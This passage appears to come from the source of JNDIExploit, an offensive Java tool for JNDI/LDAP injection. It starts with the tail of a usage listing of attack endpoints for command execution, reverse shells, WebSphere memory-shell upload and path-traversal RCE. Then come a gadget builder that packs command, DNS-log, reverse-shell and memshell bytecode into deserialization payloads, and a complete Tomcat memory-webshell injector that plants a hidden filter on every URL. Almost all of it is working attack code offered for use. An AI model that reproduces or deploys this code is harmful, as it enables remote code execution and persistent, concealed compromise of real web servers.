GroovyBypass Queries"); 104 | System.out.println(" " + prefix + "GroovyBypass/Command/[cmd]"); 105 | System.out.println(" " + prefix + "GroovyBypass/Command/Base64/[base64_encoded_cmd]"); 106 | 107 | System.out.println("\n[+] WebsphereBypass Queries"); 108 | System.out.println(" " + prefix + "WebsphereBypass/List/file=[file or directory]"); 109 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Dnslog/[domain]"); 110 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/[cmd]"); 111 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]"); 112 | System.out.println(" " + prefix + "WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported"); 113 | System.out.println(" " + prefix + "WebsphereBypass/Upload/WebsphereMemshell"); 114 | System.out.println(" " + prefix + "WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp"); 115 | 116 | System.exit(0); 117 | } 118 | 119 | // //获取当前 Jar 的名称 120 | // String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 121 | jc.setProgramName("java -jar JNDIExploit-1.4-SNAPSHOT.jar"); 122 | jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); 123 | 124 | if (help) { 125 | jc.usage(); //if -h specified, show help and exit 126 | //System.exit(0); 127 | } 128 | 129 | // 自动化生成类名称 130 | if (Objects.equals(classSuffix, "auto")) { 131 | classSuffix = UUID.randomUUID().toString().replaceAll("-", ""); 132 | } 133 | 134 | // 特别注意:最后一个反斜杠不能少啊 135 | Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import com.feihong.ldap.template.*; 4 | import com.feihong.ldap.utils.Cache; 5 | import com.feihong.ldap.enumtypes.PayloadType; 6 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 7 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 8 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 9 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 10 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 11 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 12 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 13 | import java.io.Serializable; 14 | import java.lang.reflect.*; 15 | import java.util.HashMap; 16 | import java.util.Map; 17 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 18 | 19 | /* 20 | * utility generator functions for common jdk-only gadgets 21 | */ 22 | @SuppressWarnings ( { 23 | "restriction", "rawtypes", "unchecked" 24 | } ) 25 | public class Gadgets { 26 | 27 | static { 28 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 29 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 30 | 31 | // for RMI remote loading 32 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 33 | } 34 | 35 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 36 | 37 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 38 | 39 | private static final long serialVersionUID = -5971610431559700674L; 40 | 41 | 42 | public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} 43 | 44 | 45 | @Override 46 | public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 47 | } 48 | 49 | // required to make TemplatesImpl happy 50 | public static class Foo implements Serializable { 51 | 52 | private static final long serialVersionUID = 8207363842866235160L; 53 | } 54 | 55 | 56 | public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { 57 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 58 | } 59 | 60 | 61 | public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { 62 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 63 | } 64 | 65 | 66 | public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { 67 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 68 | allIfaces[ 0 ] = iface; 69 | if ( ifaces.length > 0 ) { 70 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 71 | } 72 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); 73 | } 74 | 75 | 76 | public static Map createMap ( final String key, final Object val ) { 77 | final Map map = new HashMap(); 78 | map.put(key, val); 79 | return map; 80 | } 81 | 82 | 83 | public static Object createTemplatesImpl (PayloadType type, String... param) throws Exception { 84 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 85 | return createTemplatesImpl( 86 | type, 87 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 88 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 89 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), 90 | param); 91 | } 92 | 93 | return createTemplatesImpl(type, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, param); 94 | } 95 | 96 | 97 | public static T createTemplatesImpl (PayloadType type, Class tplClass, Class abstTranslet, Class transFactory, String... param) 98 | throws Exception { 99 | final T templates = tplClass.newInstance(); 100 | 101 | // // use template gadget class 102 | // ClassPool pool = ClassPool.getDefault(); 103 | // pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 104 | // pool.insertClassPath(new ClassClassPath(abstTranslet)); 105 | // final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 106 | // // run command in static initializer 107 | // // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 108 | // String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 109 | // command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + 110 | // "\");"; 111 | // clazz.makeClassInitializer().insertAfter(cmd); 112 | // // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 113 | // clazz.setName("ysoserial.Pwner" + System.nanoTime()); 114 | // CtClass superC = pool.get(abstTranslet.getName()); 115 | // clazz.setSuperclass(superC); 116 | 117 | byte[] classBytes = null; 118 | switch (type){ 119 | case command: 120 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 121 | classBytes = commandTemplate.getBytes(); 122 | break; 123 | case dnslog: 124 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 125 | classBytes = dnslogTemplate.getBytes(); 126 | break; 127 | case reverseshell: 128 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 129 | classBytes = reverseShellTemplate.getBytes(); 130 | break; 131 | case tomcatecho: 132 | classBytes = Cache.get("TomcatEchoTemplate"); 133 | break; 134 | case springecho: 135 | classBytes = Cache.get("SpringEchoTemplate"); 136 | break; 137 | case weblogicecho: 138 | classBytes = Cache.get("WeblogicEchoTemplate"); 139 | break; 140 | case tomcatmemshell1: 141 | classBytes = Cache.get("TomcatMemshellTemplate1"); 142 | break; 143 | case tomcatmemshell2: 144 | classBytes = Cache.get("TomcatMemshellTemplate2"); 145 | break; 146 | case jettymemshell: 147 | classBytes = Cache.get("JettyMemshellTemplate"); 148 | break; 149 | case jbossmemshell: 150 | classBytes = Cache.get("JBossMemshellTemplate"); 151 | break; 152 | case weblogicmemshell1: 153 | classBytes = Cache.get("WeblogicMemshellTemplate1"); 154 | break; 155 | case weblogicmemshell2: 156 | classBytes = Cache.get("WeblogicMemshellTemplate2"); 157 | break; 158 | case webspherememshell: 159 | classBytes = Cache.get("WebsphereMemshellTemplate"); 160 | break; 161 | case springmemshell: 162 | classBytes = Cache.get("SpringMemshellTemplate"); 163 | break; 164 | } 165 | 166 | // inject class bytes into instance 167 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 168 | classBytes, ClassFiles.classAsBytes(Foo.class) 169 | }); 170 | 171 | // required to make TemplatesImpl happy 172 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 173 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 174 | return templates; 175 | } 176 | 177 | 178 | public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, 179 | IllegalAccessException, InvocationTargetException { 180 | HashMap s = new HashMap(); 181 | Reflections.setFieldValue(s, "size", 2); 182 | Class nodeC; 183 | try { 184 | nodeC = Class.forName("java.util.HashMap$Node"); 185 | } 186 | catch ( ClassNotFoundException e ) { 187 | nodeC = Class.forName("java.util.HashMap$Entry"); 188 | } 189 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 190 | Reflections.setAccessible(nodeCons); 191 | 192 | Object tbl = Array.newInstance(nodeC, 2); 193 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 194 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 195 | Reflections.setFieldValue(s, "table", tbl); 196 | return s; 197 | } 198 | } 199 | 200 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.apache.catalina.Context; 9 | import org.apache.catalina.connector.Request; 10 | import org.apache.catalina.core.ApplicationContext; 11 | import org.apache.catalina.core.ApplicationFilterConfig; 12 | import org.apache.catalina.core.StandardContext; 13 | import sun.misc.BASE64Decoder; 14 | import javax.servlet.*; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Method; 18 | import java.lang.reflect.Modifier; 19 | import java.util.HashMap; 20 | import java.util.List; 21 | 22 | public class TomcatMemshellTemplate2 extends AbstractTranslet { 23 | public String DynamicFilterTemplateB64Code; 24 | 25 | public TomcatMemshellTemplate2(){ 26 | try{ 27 | boolean var4 = false; 28 | Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); 29 | 30 | for(int var6 = 0; var6 < var5.length; ++var6) { 31 | Thread var7 = var5[var6]; 32 | if (var7 != null) { 33 | String var3 = var7.getName(); 34 | if (!var3.contains("exec") && var3.contains("http")) { 35 | Object var1 = getFV(var7, "target"); 36 | if (var1 instanceof Runnable) { 37 | try { 38 | var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); 39 | } catch (Exception var13) { 40 | continue; 41 | } 42 | 43 | List var9 = (List)getFV(var1, "processors"); 44 | 45 | for(int var10 = 0; var10 < var9.size(); ++var10) { 46 | Object var11 = var9.get(var10); 47 | var1 = getFV(var11, "req"); 48 | Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); 49 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Shell"); 50 | if (var3 != null && !var3.isEmpty()) { 51 | try{ 52 | injectMemshell(var1); 53 | writeBody(var2, "[+] Memshell Inject Success".getBytes()); 54 | }catch(Exception e){ 55 | writeBody(var2, "[-] Memshell Inject Failed".getBytes()); 56 | } 57 | 58 | var4 = true; 59 | } 60 | 61 | if (var4) { 62 | break; 63 | } 64 | } 65 | 66 | if (var4) { 67 | break; 68 | } 69 | } 70 | } 71 | } 72 | } 73 | }catch (Exception e){ 74 | e.printStackTrace(); 75 | } 76 | } 77 | 78 | private static void writeBody(Object var0, byte[] var1) throws Exception { 79 | Object var2; 80 | Class var3; 81 | try { 82 | var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); 83 | var2 = var3.newInstance(); 84 | var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); 85 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 86 | } catch (NoSuchMethodException var5) { 87 | var3 = Class.forName("java.nio.ByteBuffer"); 88 | var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); 89 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 90 | } 91 | 92 | } 93 | 94 | private static Object getFV(Object var0, String var1) throws Exception { 95 | Field var2 = null; 96 | Class var3 = var0.getClass(); 97 | 98 | while(var3 != Object.class) { 99 | try { 100 | var2 = var3.getDeclaredField(var1); 101 | break; 102 | } catch (NoSuchFieldException var5) { 103 | var3 = var3.getSuperclass(); 104 | } 105 | } 106 | 107 | if (var2 == null) { 108 | throw new NoSuchFieldException(var1); 109 | } else { 110 | var2.setAccessible(true); 111 | return var2.get(var0); 112 | } 113 | } 114 | 115 | public void injectMemshell(Object var1) throws Exception { 116 | String filterName = "TomcatDynamicFilter-2"; 117 | String urlPattern = "/*"; 118 | 119 | Request req = (Request) ((org.apache.coyote.Request)var1).getNote(1); 120 | 121 | // 获取 standardContext 122 | final ServletContext servletContext = req.getSession().getServletContext(); 123 | 124 | Field field = servletContext.getClass().getDeclaredField("context"); 125 | field.setAccessible(true); 126 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); 127 | 128 | field = applicationContext.getClass().getDeclaredField("context"); 129 | field.setAccessible(true); 130 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 131 | modifiersField.setAccessible(true); 132 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); 133 | StandardContext standardContext = (StandardContext) field.get(applicationContext); 134 | 135 | field = standardContext.getClass().getDeclaredField("filterConfigs"); 136 | field.setAccessible(true); 137 | HashMap map = (HashMap) field.get(standardContext); 138 | 139 | if(map.get(filterName) == null) { 140 | System.out.println("[+] Add Dynamic Filter"); 141 | 142 | //生成 FilterDef 143 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 144 | Class filterDefClass = null; 145 | try { 146 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); 147 | } catch (ClassNotFoundException e) { 148 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 149 | } 150 | 151 | Object filterDef = filterDefClass.newInstance(); 152 | filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName); 153 | 154 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 155 | Class clazz = null; 156 | try{ 157 | BASE64Decoder base64Decoder = new BASE64Decoder(); 158 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 159 | 160 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 161 | method0.setAccessible(true); 162 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 163 | 164 | }catch (Exception ex){ 165 | ex.printStackTrace(); 166 | } 167 | 168 | filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName()); 169 | filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, clazz.newInstance()); 170 | standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef); 171 | 172 | //设置 FilterMap 173 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 174 | Class filterMapClass = null; 175 | try { 176 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); 177 | } catch (ClassNotFoundException e) { 178 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 179 | } 180 | 181 | //使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去,无需在手动排序了 182 | //其他中间件应该也是类似的 183 | Object filterMap = filterMapClass.newInstance(); 184 | filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName); 185 | filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name()); 186 | filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern); 187 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap); 188 | 189 | //设置 FilterConfig 190 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); 191 | constructor.setAccessible(true); 192 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 193 | map.put(filterName, filterConfig); 194 | } 195 | } 196 | 197 | @Override 198 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 199 | 200 | } 201 | 202 | @Override 203 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 204 | 205 | } 206 | } 207 | --------------------------------------------------------------------------------